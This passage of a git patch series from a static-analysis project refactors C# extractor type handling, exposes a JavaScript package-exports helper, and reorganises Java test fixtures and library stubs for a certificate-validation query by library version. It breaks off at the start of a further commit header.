trapFile.WriteSubId(Type.Type); + trapFile.WriteSubId(Type); trapFile.Write(" "); trapFile.WriteSubId(ContainingType); trapFile.Write('.'); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Indexer.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Indexer.cs index 5873d3e19f4..70b15a6fe16 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Indexer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Indexer.cs @@ -46,7 +46,7 @@ namespace Semmle.Extraction.CSharp.Entities { // The expression may need to reference parameters in the getter. // So we need to arrange that the expression is populated after the getter. - Context.PopulateLater(() => Expression.CreateFromNode(new ExpressionNodeInfo(Context, expressionBody, this, 0) { Type = Type.Create(Context, symbol.GetAnnotatedType()) })); + Context.PopulateLater(() => Expression.CreateFromNode(new ExpressionNodeInfo(Context, expressionBody, this, 0).SetType(symbol.GetAnnotatedType()))); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalVariable.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalVariable.cs index de44b16d69f..e988ec2c815 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalVariable.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalVariable.cs @@ -24,9 +24,9 @@ namespace Semmle.Extraction.CSharp.Entities { var trapFile = Context.TrapWriter.Writer; var (kind, type) = symbol is ILocalSymbol l - ? (l.IsRef ? 3 : l.IsConst ? 2 : 1, Type.Create(Context, l.GetAnnotatedType())) + ? (l.IsRef ? 3 : l.IsConst ? 2 : 1, l.GetAnnotatedType()) : (1, parent.Type); - trapFile.localvars(this, kind, symbol.Name, isVar ? 1 : 0, type.Type.TypeRef, parent); + trapFile.localvars(this, kind, symbol.Name, isVar ? 1 : 0, Type.Create(Context, type).TypeRef, parent); if (symbol is ILocalSymbol local) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs index 739708138ad..08d5ae47c5e 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs @@ -85,14 +85,14 @@ namespace Semmle.Extraction.CSharp.Entities Context.PopulateLater(() => { var loc = Context.Create(initializer.GetLocation()); - var annotatedType = new AnnotatedType(type, NullableAnnotation.None); + var annotatedType = AnnotatedTypeSymbol.CreateNotAnnotated(symbol.Type); var simpleAssignExpr = new Expression(new ExpressionInfo(Context, annotatedType, loc, ExprKind.SIMPLE_ASSIGN, this, child++, false, null)); Expression.CreateFromNode(new ExpressionNodeInfo(Context, initializer.Value, simpleAssignExpr, 0)); var access = new Expression(new ExpressionInfo(Context, annotatedType, Location, ExprKind.PROPERTY_ACCESS, simpleAssignExpr, 1, false, null)); trapFile.expr_access(access, this); if (!symbol.IsStatic) { - This.CreateImplicit(Context, Type.Create(Context, symbol.ContainingType), Location, access, -1); + This.CreateImplicit(Context, symbol.ContainingType, Location, access, -1); } }); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs index 13cc39f7fea..db1a0d413c1 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs @@ -20,11 +20,11 @@ namespace Semmle.Extraction.CSharp.Entities.Statements if (hasVariableDeclaration) // A catch clause of the form 'catch(Ex ex) { ... }' { var decl = Expressions.VariableDeclaration.Create(cx, Stmt.Declaration, false, this, 0); - trapFile.catch_type(this, decl.Type.Type.TypeRef, true); + trapFile.catch_type(this, Type.Create(cx, decl.Type).TypeRef, true); } else if (isSpecificCatchClause) // A catch clause of the form 'catch(Ex) { ... }' { - trapFile.catch_type(this, Type.Create(cx, cx.GetType(Stmt.Declaration.Type)).Type.TypeRef, true); + trapFile.catch_type(this, Type.Create(cx, cx.GetType(Stmt.Declaration.Type)).TypeRef, true); } else // A catch clause of the form 'catch { ... }' { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs index 653ed384e7b..262b3f0e328 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs @@ -23,7 +23,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements Expression.Create(cx, Stmt.Expression, this, 1); var typeSymbol = cx.GetModel(Stmt).GetDeclaredSymbol(Stmt); - var type = Type.Create(cx, typeSymbol.GetAnnotatedType()); + var type = typeSymbol.GetAnnotatedType(); var location = cx.Create(Stmt.Identifier.GetLocation()); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs index 4f1e166b8dc..8d6074f3e8d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs @@ -47,7 +47,7 @@ namespace Semmle.Extraction.CSharp.Entities switch (type) { case ArrayType at: - return GetArrayElementType(at.ElementType.Type); + return GetArrayElementType(at.ElementType); case NamedType nt when nt.symbol.IsBoundSpan() || nt.symbol.IsBoundReadOnlySpan(): return nt.TypeArguments.Single(); @@ -128,8 +128,8 @@ namespace Semmle.Extraction.CSharp.Entities return ret; } - public static TypeMention Create(Context cx, TypeSyntax syntax, IEntity parent, AnnotatedType type, Microsoft.CodeAnalysis.Location loc = null) => - Create(cx, syntax, parent, type.Type, loc); + public static TypeMention Create(Context cx, TypeSyntax syntax, IEntity parent, AnnotatedTypeSymbol? type, Microsoft.CodeAnalysis.Location loc = null) => + Create(cx, syntax, parent, Type.Create(cx, type?.Symbol), loc); public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.OptionalLabel; } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/ArrayType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/ArrayType.cs index 2c617158219..4ec1db558e5 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/ArrayType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/ArrayType.cs @@ -1,3 +1,4 @@ +using System; using System.IO; using Microsoft.CodeAnalysis; @@ -8,16 +9,16 @@ namespace Semmle.Extraction.CSharp.Entities private ArrayType(Context cx, IArrayTypeSymbol init) : base(cx, init) { - element = Create(cx, symbol.GetAnnotatedElementType()); + elementLazy = new Lazy<Type>(() => Create(cx, symbol.ElementType)); } - private readonly AnnotatedType element; + private readonly Lazy<Type> elementLazy; public int Rank => symbol.Rank; - public override AnnotatedType ElementType => element; + public Type ElementType => elementLazy.Value; - public override int Dimension => 1 + element.Type.Dimension; + public override int Dimension => 1 + ElementType.Dimension; // All array types are extracted because they won't // be extracted in their defining assembly. @@ -25,18 +26,19 @@ namespace Semmle.Extraction.CSharp.Entities public override void Populate(TextWriter trapFile) { - trapFile.array_element_type(this, Dimension, Rank, element.Type.TypeRef); + trapFile.array_element_type(this, Dimension, Rank, ElementType.TypeRef); PopulateType(trapFile); } public override void WriteId(TextWriter trapFile) { - trapFile.WriteSubId(element.Type); + trapFile.WriteSubId(ElementType); symbol.BuildArraySuffix(trapFile); trapFile.Write(";type"); } - public static ArrayType Create(Context cx, IArrayTypeSymbol symbol) => ArrayTypeFactory.Instance.CreateEntityFromSymbol(cx, symbol); + public static ArrayType Create(Context cx, IArrayTypeSymbol symbol) => + ArrayTypeFactory.Instance.CreateEntityFromSymbol(cx, symbol); private class ArrayTypeFactory : ICachedEntityFactory<IArrayTypeSymbol, ArrayType> { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs index bc48b30091c..bded5f60c57 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs @@ -149,36 +149,6 @@ namespace Semmle.Extraction.CSharp.Entities base.WriteQuotedId(trapFile); } - /// <summary> - /// Returns the element type in an Enumerable/IEnumerable - /// </summary> - /// <param name="cx">Extraction context.</param> - /// <param name="type">The enumerable type.</param> - /// <returns>The element type, or null.</returns> - private static AnnotatedTypeSymbol GetElementType(Context cx, INamedTypeSymbol type) - { - var et = GetEnumerableType(cx, type); - if (et.Symbol != null) - return et; - - return type.AllInterfaces - .Where(i => i.OriginalDefinition.SpecialType == SpecialType.System_Collections_Generic_IEnumerable_T) - .Concat(type.AllInterfaces.Where(i => i.SpecialType == SpecialType.System_Collections_IEnumerable)) - .Select(i => GetEnumerableType(cx, i)) - .FirstOrDefault(); - } - - private static AnnotatedTypeSymbol GetEnumerableType(Context cx, INamedTypeSymbol type) - { - return type.SpecialType == SpecialType.System_Collections_IEnumerable - ? cx.Compilation.ObjectType.WithAnnotation(NullableAnnotation.NotAnnotated) - : type.OriginalDefinition.SpecialType == SpecialType.System_Collections_Generic_IEnumerable_T - ? type.GetAnnotatedTypeArguments().First() - : default(AnnotatedTypeSymbol); - } - - public override AnnotatedType ElementType => Type.Create(Context, GetElementType(Context, symbol)); - private class NamedTypeFactory : ICachedEntityFactory<INamedTypeSymbol, NamedType> { public static NamedTypeFactory Instance { get; } = new NamedTypeFactory(); @@ -235,5 +205,5 @@ namespace Semmle.Extraction.CSharp.Entities { trapFile.typerefs(this, symbol.Name); } - }; + } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NullType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NullType.cs index 2822e346384..33f7c44d21f 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NullType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NullType.cs @@ -27,7 +27,7 @@ namespace Semmle.Extraction.CSharp.Entities return obj != null && obj.GetType() == typeof(NullType); } - public static AnnotatedType Create(Context cx) => new AnnotatedType(NullTypeFactory.Instance.CreateEntity(cx, typeof(NullType), null), NullableAnnotation.None); + public static Type Create(Context cx) => NullTypeFactory.Instance.CreateEntity(cx, typeof(NullType), null); private class NullTypeFactory : ICachedEntityFactory<ITypeSymbol, NullType> { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs index af9c4bf4fa6..4ddc258f5c7 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs @@ -59,6 +59,6 @@ namespace Semmle.Extraction.CSharp.Entities private readonly Lazy<Field[]> tupleElementsLazy; public Field[] TupleElements => tupleElementsLazy.Value; - public override IEnumerable<Type> TypeMentions => TupleElements.Select(e => e.Type.Type); + public override IEnumerable<Type> TypeMentions => TupleElements.Select(e => e.Type); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs index 1b1d205b3d7..ef1e2909ebf 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs @@ -7,36 +7,11 @@ using System.Linq; namespace Semmle.Extraction.CSharp.Entities { - /// <summary> - /// Represents an annotated type consisting of a type entity and nullability information. - /// </summary> - public struct AnnotatedType - { - public AnnotatedType(Type t, NullableAnnotation n) - { - Type = t; - annotation = n; - } - - /// <summary> - /// The underlying type. - /// </summary> - public Type Type { get; private set; } - - private readonly NullableAnnotation annotation; - - /// <summary> - /// Gets the annotated type symbol of this annotated type. - /// </summary> - public AnnotatedTypeSymbol Symbol => new AnnotatedTypeSymbol(Type.symbol, annotation); - } - public abstract class Type : CachedSymbol<ITypeSymbol> { protected Type(Context cx, ITypeSymbol init) : base(cx, init) { } - public virtual AnnotatedType ElementType => default(AnnotatedType); public override bool NeedsPopulation => base.NeedsPopulation || symbol.TypeKind == TypeKind.Dynamic || symbol.TypeKind == TypeKind.TypeParameter; @@ -277,12 +252,12 @@ namespace Semmle.Extraction.CSharp.Entities { type = type.DisambiguateType(); return type == null - ? NullType.Create(cx).Type + ? NullType.Create(cx) : (Type)cx.CreateEntity(type); } - public static AnnotatedType Create(Context cx, AnnotatedTypeSymbol type) => - new AnnotatedType(Create(cx, type.Symbol), type.Nullability); + public static Type Create(Context cx, AnnotatedTypeSymbol? type) => + Create(cx, type?.Symbol); public virtual int Dimension => 0; @@ -331,10 +306,10 @@ namespace Semmle.Extraction.CSharp.Entities public override bool Equals(object obj) { var other = obj as Type; - return other?.GetType() == GetType() && SymbolEqualityComparer.IncludeNullability.Equals(other.symbol, symbol); + return other?.GetType() == GetType() && SymbolEqualityComparer.Default.Equals(other.symbol, symbol); } - public override int GetHashCode() => SymbolEqualityComparer.IncludeNullability.GetHashCode(symbol); + public override int GetHashCode() => SymbolEqualityComparer.Default.GetHashCode(symbol); } internal abstract class Type<T> : Type where T : ITypeSymbol diff --git a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs index 6ea04c7ca9f..574374a80f5 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs @@ -23,6 +23,9 @@ namespace Semmle.Extraction.CSharp Symbol = symbol; Nullability = nullability; } + + public static AnnotatedTypeSymbol? CreateNotAnnotated(ITypeSymbol symbol) => + symbol is null ? (AnnotatedTypeSymbol?)null : new AnnotatedTypeSymbol(symbol, NullableAnnotation.None); } internal static class SymbolExtensions @@ -497,13 +500,13 @@ namespace Semmle.Extraction.CSharp /// <summary> /// Holds if this symbol is a source declaration. /// </summary> - public static bool IsSourceDeclaration(this ISymbol symbol) => SymbolEqualityComparer.IncludeNullability.Equals(symbol, symbol.OriginalDefinition); + public static bool IsSourceDeclaration(this ISymbol symbol) => SymbolEqualityComparer.Default.Equals(symbol, symbol.OriginalDefinition); /// <summary> /// Holds if this method is a source declaration. /// </summary> public static bool IsSourceDeclaration(this IMethodSymbol method) => - IsSourceDeclaration((ISymbol)method) && SymbolEqualityComparer.IncludeNullability.Equals(method, method.ConstructedFrom) && method.ReducedFrom == null; + IsSourceDeclaration((ISymbol)method) && SymbolEqualityComparer.Default.Equals(method, method.ConstructedFrom) && method.ReducedFrom == null; /// <summary> /// Holds if this parameter is a source declaration. diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index fc50d01f113..cbb68e1a936 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -169,7 +169,7 @@ namespace Semmle.Extraction #endif private readonly IDictionary<object, ICachedEntity> objectEntityCache = new Dictionary<object, ICachedEntity>(); - private readonly IDictionary<ISymbol, ICachedEntity> symbolEntityCache = new Dictionary<ISymbol, ICachedEntity>(10000, SymbolEqualityComparer.IncludeNullability); + private readonly IDictionary<ISymbol, ICachedEntity> symbolEntityCache = new Dictionary<ISymbol, ICachedEntity>(10000, SymbolEqualityComparer.Default); private readonly HashSet<Label> extractedGenerics = new HashSet<Label>(); /// <summary> diff --git a/csharp/extractor/Semmle.Extraction/Symbol.cs b/csharp/extractor/Semmle.Extraction/Symbol.cs index 4366cff7f06..2585ffd037f 100644 --- a/csharp/extractor/Semmle.Extraction/Symbol.cs +++ b/csharp/extractor/Semmle.Extraction/Symbol.cs @@ -79,7 +79,7 @@ namespace Semmle.Extraction /// A class used to wrap an `ISymbol` object, which uses `SymbolEqualityComparer.Default` /// for comparison. /// </summary> - public sealed class SymbolEqualityWrapper + public struct SymbolEqualityWrapper { public ISymbol Symbol { get; } @@ -88,6 +88,6 @@ namespace Semmle.Extraction public override bool Equals(object? other) => other is SymbolEqualityWrapper sew && SymbolEqualityComparer.Default.Equals(Symbol, sew.Symbol); - public override int GetHashCode() => 11 * Symbol.GetHashCode(); + public override int GetHashCode() => 11 * SymbolEqualityComparer.Default.GetHashCode(Symbol); } } From 26783b6ab0a63e70c765606bdb05d1091df2df81 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 15 Jan 2021 16:05:49 +0100 Subject: [PATCH 0618/1241] make getTopmostPackageJSON public again, and update PackageExports test --- javascript/ql/src/semmle/javascript/PackageExports.qll | 2 +- javascript/ql/test/library-tests/PackageExports/tests.ql | 4 +--- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/PackageExports.qll b/javascript/ql/src/semmle/javascript/PackageExports.qll index 62681c47e81..09212bc8aa6 100644 --- a/javascript/ql/src/semmle/javascript/PackageExports.qll +++ b/javascript/ql/src/semmle/javascript/PackageExports.qll @@ -28,7 +28,7 @@ private int countSlashes(string path) { result = count(path.splitAt("/")) - 1 } * There can be multiple results if the there exists multiple package.json that are equally deeply nested in the folder structure. * Results are limited to package.json files that are at most nested 2 directories deep. */ -private PackageJSON getTopmostPackageJSON() { +PackageJSON getTopmostPackageJSON() { result = min(PackageJSON j | countSlashes(j.getFile().getRelativePath()) <= 3 and diff --git a/javascript/ql/test/library-tests/PackageExports/tests.ql b/javascript/ql/test/library-tests/PackageExports/tests.ql index ce1f7499051..1a23e8d24d9 100644 --- a/javascript/ql/test/library-tests/PackageExports/tests.ql +++ b/javascript/ql/test/library-tests/PackageExports/tests.ql @@ -3,9 +3,7 @@ import semmle.javascript.PackageExports as Exports query PackageJSON getTopmostPackageJSON() { result = Exports::getTopmostPackageJSON() } -query DataFlow::Node getAValueExportedBy(PackageJSON json) { - result = Exports::getAValueExportedBy(json) -} +query DataFlow::Node getALibraryInputParameter() { result = Exports::getALibraryInputParameter() } query DataFlow::Node getAnExportedValue(Module mod, string name) { result = mod.getAnExportedValue(name) From a4cbd7037bd068228bef5448aa11ceeed92d1554 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Fri, 15 Jan 2021 17:18:22 +0100 Subject: [PATCH 0619/1241] Java: Add tests for different versions. Adds a test for version 6.24, because that version is not vulnerable. The other test is for versions < 6.24, because these versions are vulnerable. --- .../JxBrowserWithoutCertValidation.expected | 1 - .../JxBrowserWithoutCertValidation.expected | 1 + .../JxBrowserWithoutCertValidation.qlref | 0 ...xBrowserWithoutCertValidationV6_23_1.java} | 2 +- .../security/CWE-295/jxbrowser-6.23.1/options | 1 + .../JxBrowserWithoutCertValidation.expected | 0 .../JxBrowserWithoutCertValidation.qlref | 1 + .../JxBrowserWithoutCertValidationV6_24.java | 36 +++++++++++++++++++ .../CWE-295/{ => jxbrowser-6.24}/options | 2 +- .../jxbrowser/chromium/BoundsListener.java | 5 +++ .../teamdev/jxbrowser/chromium/Browser.java | 13 +++++++ .../chromium/CertificateErrorParams.java | 5 +++ .../jxbrowser/chromium/LoadHandler.java | 7 ++++ .../jxbrowser/chromium/LoadParams.java | 5 +++ 14 files changed, 76 insertions(+), 3 deletions(-) delete mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected rename java/ql/test/experimental/query-tests/security/CWE-295/{ => jxbrowser-6.23.1}/JxBrowserWithoutCertValidation.qlref (100%) rename java/ql/test/experimental/query-tests/security/CWE-295/{JxBrowserWithoutCertValidation.java => jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java} (95%) create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/options create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidationV6_24.java rename java/ql/test/experimental/query-tests/security/CWE-295/{ => jxbrowser-6.24}/options (71%) create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/BoundsListener.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/Browser.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadHandler.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadParams.java diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected deleted file mode 100644 index 121de8759ac..00000000000 --- a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected +++ /dev/null @@ -1 +0,0 @@ -| JxBrowserWithoutCertValidation.java:17:27:17:39 | new Browser(...) | This JxBrowser instance allows man-in-the-middle attacks. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected new file mode 100644 index 00000000000..9b611b6cfc9 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.expected @@ -0,0 +1 @@ +| JxBrowserWithoutCertValidationV6_23_1.java:17:27:17:39 | new Browser(...) | This JxBrowser instance allows man-in-the-middle attacks. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.qlref similarity index 100% rename from java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.qlref rename to java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.qlref diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.java b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java similarity index 95% rename from java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.java rename to java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java index b7e2710842f..8f7be261413 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.java +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java @@ -3,7 +3,7 @@ import com.teamdev.jxbrowser.chromium.LoadHandler; import com.teamdev.jxbrowser.chromium.LoadParams; import com.teamdev.jxbrowser.chromium.CertificateErrorParams; -public class JxBrowserWithoutCertValidation { +public class JxBrowserWithoutCertValidationV6_23_1 { public static void main(String[] args) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/options b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/options new file mode 100644 index 00000000000..37339271f9c --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/options @@ -0,0 +1 @@ + //semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/jxbrowser-6.23.1 \ No newline at end of file diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref new file mode 100644 index 00000000000..cab6f2a4962 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidationV6_24.java b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidationV6_24.java new file mode 100644 index 00000000000..62057fcb8ef --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidationV6_24.java @@ -0,0 +1,36 @@ +import com.teamdev.jxbrowser.chromium.Browser; +import com.teamdev.jxbrowser.chromium.LoadHandler; +import com.teamdev.jxbrowser.chromium.LoadParams; +import com.teamdev.jxbrowser.chromium.CertificateErrorParams; + +public class JxBrowserWithoutCertValidationV6_24 { + + public static void main(String[] args) { + + goodUsage(); + + goodUsage2(); + + } + + private static void goodUsage() { + Browser browser = new Browser(); + browser.loadURL("https://example.com"); + // no further calls + // GOOD: On version 6.24 the browser properly validates certificates by default! + } + + private static void goodUsage2() { + Browser browser = new Browser(); + browser.setLoadHandler(new LoadHandler() { + public boolean onLoad(LoadParams params) { + return true; + } + + public boolean onCertificateError(CertificateErrorParams params) { + return true; // GOOD: This means that loading will be cancelled on certificate errors + } + }); // GOOD: A secure `LoadHandler` is used. + browser.loadURL("https://example.com"); + } +} \ No newline at end of file diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/options b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/options similarity index 71% rename from java/ql/test/experimental/query-tests/security/CWE-295/options rename to java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/options index 770bbcd38e6..f001bf777a2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/options +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/options @@ -1 +1 @@ - //semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/jxbrowser-6.23.1 \ No newline at end of file + //semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/jxbrowser-6.24 \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/BoundsListener.java b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/BoundsListener.java new file mode 100644 index 00000000000..39bb56e0565 --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/BoundsListener.java @@ -0,0 +1,5 @@ +package com.teamdev.jxbrowser.chromium; + +public interface BoundsListener { + +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/Browser.java b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/Browser.java new file mode 100644 index 00000000000..c32656e4228 --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/Browser.java @@ -0,0 +1,13 @@ +package com.teamdev.jxbrowser.chromium; + +public class Browser extends java.lang.Object { + public void setLoadHandler(LoadHandler handler) { + } + + public void loadURL(String url) { + } + + public void addBoundsListener(BoundsListener listener) { + + } +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java new file mode 100644 index 00000000000..904b98a6c51 --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java @@ -0,0 +1,5 @@ +package com.teamdev.jxbrowser.chromium; + +public final class CertificateErrorParams extends Object { + +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadHandler.java b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadHandler.java new file mode 100644 index 00000000000..a628d88439c --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadHandler.java @@ -0,0 +1,7 @@ +package com.teamdev.jxbrowser.chromium; + +public interface LoadHandler { + boolean onCertificateError(CertificateErrorParams params); + + boolean onLoad(LoadParams params); +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadParams.java b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadParams.java new file mode 100644 index 00000000000..213e54f1dbc --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.24/com/teamdev/jxbrowser/chromium/LoadParams.java @@ -0,0 +1,5 @@ +package com.teamdev.jxbrowser.chromium; + +public final class LoadParams extends Object { + +} \ No newline at end of file From 401e5166543d6986bf730ff7150ff17553c974dc Mon Sep 17 00:00:00 2001 